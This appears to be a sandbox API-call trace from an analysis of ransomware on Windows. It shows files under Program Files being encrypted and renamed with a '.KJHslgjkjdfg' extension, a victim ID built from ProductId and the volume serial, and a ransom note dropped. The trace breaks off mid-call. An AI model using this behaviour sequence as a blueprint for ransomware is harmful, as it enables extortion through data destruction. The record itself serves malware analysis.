1 [0180.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.293] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5550, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5550, lpOverlapped=0x0) returned 1 [0180.293] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.293] SetEndOfFile (hFile=0x130) returned 1 [0180.296] GetProcessHeap () returned 0x990000 [0180.296] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.296] GetProcessHeap () returned 0x990000 [0180.296] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.kjhslgjkjdfg")) returned 1 [0180.299] CloseHandle (hObject=0x130) returned 1 [0180.299] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0180.299] GetProcessHeap () returned 0x990000 [0180.299] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.299] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0180.299] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df0a8 | out: pbData=0x9af7b0, pdwDataLen=0x29df0a8) returned 1 [0180.299] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.299] GetProcessHeap () returned 0x990000 [0180.299] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0180.300] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0180.300] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df0a8 | out: pbData=0x9af7f8, pdwDataLen=0x29df0a8) returned 1 [0180.300] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.300] GetProcessHeap () returned 0x990000 [0180.300] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b1eb0 [0180.300] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0180.300] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1eb0, pdwDataLen=0x29df0a8 | out: pbData=0x9b1eb0, pdwDataLen=0x29df0a8) returned 1 [0180.300] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.300] GetProcessHeap () returned 0x990000 [0180.300] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0180.300] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0180.300] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dec88 | out: pbData=0x9af840, pdwDataLen=0x29dec88) returned 1 [0180.300] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.300] GetProcessHeap () returned 0x990000 [0180.300] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0180.300] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0180.300] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dec88 | out: pbData=0x9b18c8, pdwDataLen=0x29dec88) returned 1 [0180.300] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.300] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29dec84 | out: phkResult=0x29dec84*=0x130) returned 0x0 [0180.301] RegQueryValueExA (in: hKey=0x130, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dec90, lpcbData=0x29dec8c*=0x400 | out: lpType=0x0, lpData=0x29dec90*=0x30, lpcbData=0x29dec8c*=0x18) returned 0x0 [0180.301] RegCloseKey (hKey=0x130) returned 0x0 [0180.301] GetProcessHeap () returned 0x990000 [0180.301] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0180.301] GetProcessHeap () returned 0x990000 [0180.301] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0180.301] GetProcessHeap () returned 0x990000 [0180.301] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0180.301] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0180.301] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea5c | out: pbData=0x9b18c8, pdwDataLen=0x29dea5c) returned 1 [0180.301] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.301] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0180.301] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0180.302] GetProcessHeap () returned 0x990000 [0180.302] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0180.302] wsprintfA (in: param_1=0x29deca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0180.302] wsprintfA (in: param_1=0x29df0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0180.302] GetProcessHeap () returned 0x990000 [0180.302] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9fd9f0 [0180.302] wsprintfW (in: param_1=0x29de084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\readme-warning.txt") returned 70 [0180.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0180.302] WriteFile (in: hFile=0x130, lpBuffer=0x9fd9f0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de080, lpOverlapped=0x0 | out: lpBuffer=0x9fd9f0*, lpNumberOfBytesWritten=0x29de080*=0x3b3, lpOverlapped=0x0) returned 1 [0180.304] CloseHandle (hObject=0x130) returned 1 [0180.304] GetProcessHeap () returned 0x990000 [0180.304] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0180.304] GetProcessHeap () returned 0x990000 [0180.304] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0180.304] GetProcessHeap () returned 0x990000 [0180.304] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0180.304] GetProcessHeap () returned 0x990000 [0180.304] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.304] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0180.305] GetProcessHeap () returned 0x990000 [0180.305] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0180.305] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0180.305] GetProcessHeap () returned 0x990000 [0180.305] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x86) returned 0x9b0940 [0180.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0180.306] GetProcessHeap () returned 0x990000 [0180.306] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.306] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.306] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0180.306] GetProcessHeap () returned 0x990000 [0180.306] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x288) returned 0x9f9760 [0180.306] GetProcessHeap () returned 0x990000 [0180.306] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x90) returned 0x9b0940 [0180.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.307] GetProcessHeap () returned 0x990000 [0180.307] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.307] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.307] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0180.307] GetProcessHeap () returned 0x990000 [0180.307] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x292) returned 0x9b1eb0 [0180.307] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0180.307] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.307] GetProcessHeap () returned 0x990000 [0180.307] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0180.307] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0180.307] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0180.307] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0180.308] GetProcessHeap () returned 0x990000 [0180.308] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0180.308] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0180.308] GetProcessHeap () returned 0x990000 [0180.308] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x9a) returned 0x9b0940 [0180.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0180.309] GetProcessHeap () returned 0x990000 [0180.309] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.309] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.309] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="14", cAlternateFileName="")) returned 1 [0180.309] GetProcessHeap () returned 0x990000 [0180.309] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x29c) returned 0x9b1eb0 [0180.309] GetProcessHeap () returned 0x990000 [0180.309] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa0) returned 0x9b0940 [0180.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.309] GetProcessHeap () returned 0x990000 [0180.310] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.310] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.310] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BIN", cAlternateFileName="")) returned 1 [0180.310] GetProcessHeap () returned 0x990000 [0180.310] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a2) returned 0x9fd9f0 [0180.310] GetProcessHeap () returned 0x990000 [0180.310] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa8) returned 0x9b0940 [0180.310] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0180.311] GetProcessHeap () returned 0x990000 [0180.311] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.311] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.311] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0180.311] GetProcessHeap () returned 0x990000 [0180.311] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2aa) returned 0x9fdca0 [0180.311] GetProcessHeap () returned 0x990000 [0180.311] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xb2) returned 0x9b0940 [0180.311] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", lpFindFileData=0x29deb68 | out: lpFindFileData=0x29deb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b66a8 [0180.311] GetProcessHeap () returned 0x990000 [0180.311] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.311] FindNextFileW (in: hFindFile=0x9b66a8, lpFindFileData=0x29deb68 | out: lpFindFileData=0x29deb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.312] FindNextFileW (in: hFindFile=0x9b66a8, lpFindFileData=0x29deb68 | out: lpFindFileData=0x29deb68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0180.312] GetProcessHeap () returned 0x990000 [0180.312] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2b4) returned 0x9b78c0 [0180.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0180.312] GetProcessHeap () returned 0x990000 [0180.312] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.312] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.312] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29deaf8 | out: lpNewFilePointer=0x0) returned 1 [0180.312] WriteFile (in: hFile=0x118, lpBuffer=0x29deb08*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29dead8, lpOverlapped=0x0 | out: lpBuffer=0x29deb08*, lpNumberOfBytesWritten=0x29dead8*=0xb, lpOverlapped=0x0) returned 1 [0180.314] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 